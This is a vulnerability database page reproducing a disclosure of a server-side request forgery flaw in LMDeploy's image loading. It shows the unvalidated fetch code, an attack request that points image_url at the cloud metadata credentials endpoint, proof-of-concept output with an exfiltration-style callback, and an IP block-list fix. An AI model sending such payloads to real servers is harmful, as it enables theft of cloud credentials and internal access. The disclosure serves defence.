LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
CVSS score
7.5
EPSS probability
%1.5
Risk score
0.1
Published
6 mo ago
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Vulnerability description
DayBreach CVE AI Research
CVE-2026-33626 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. ## Affected Versions - **Tested on:** main branch (2026-02-04) - **Affected:** All versions prior to 0.12.3 ## Vulnerable Code **File:** `lmdeploy/vl/utils.py` (lines 64-67) ```python def load_image(image_url: Union[str, Image.Image]) -> Image.Image: # ... if image_url.startswith('http'): response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST ``` **Also affected:** `encode_image_base64()` function (lines 26-29) ## Root Cause 1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to `0.0.0.0` by default (api_server.py line 1393) 4. API keys disabled by default ## Attack Scenario 1. LMDeploy server deployed with vision-language model 2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`: ```python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] } ``` 3. Server fetches URL without validation 4. Attacker receives cloud credentials ## Proof of Concept ### Verified Exploitation Result ``` ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝ [1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY [3] Calling vulnerable load_image() function... ====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ====================================================================== ✅ SSRF VULNERABILITY CONFIRMED! ``` ## Impact - **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs - **Internal Service Access:** Reach services not exposed to internet - **Information Disclosure:** Port scan internal networks - **Lateral Movement:** Pivot point for further attacks ## Recommended Fix ```python from urllib.parse import urlparse import ipaddress import socket BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), ipaddress.ip_network('10.0.0.0/8'), ipaddress.ip_network('172.16.0.0/12'), ipaddress.ip_network('192.168.0.0/16'), ipaddress.ip_network('169.254.0.0/16'), ] def is_safe_url(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ip_addr = ipaddress.ip_address(ip) return not any(ip_addr in network for network in BLOCKED_NETWORKS) except: return False ``` --- ## Credit This vulnerability was discovered as part of Orca Security's research. **Researcher:** Igor Stepansky **Organization:** Orca Security **Emails:** igor.stepansky@orca.security iggy.p0pi@orca.security
IMPACT: Affected Products and Software
Affected Products
The following products are affected by CVE-2026-33626 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.
| ID | VENDOR | PRODUCT | ACTION |
|---|---|---|---|
| 1 | pypi | lmdeploy | View |
RED HAT CSAF/VEX: Product Impact Check
SCORING: CVSS from Multiple Sources
CVSS Scores
The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 7.5 | CVSS 3.x | — | Vector not published | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vector not published | GitHub Advisory |
Patch and Remediation Guide
Solution & Remediation Advisory
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Public exploit and active exploitation status
Verified exploit intelligence
CVE-2026-33626 : the database holds 1 public PoC/exploit sources for it. For direct links to the sources, open the Public Exploits tab.
Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-33626 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-33626 weaknesses.
Attack Vector and Accessibility
Official Sources and Advisories
Similar Vulnerabilities
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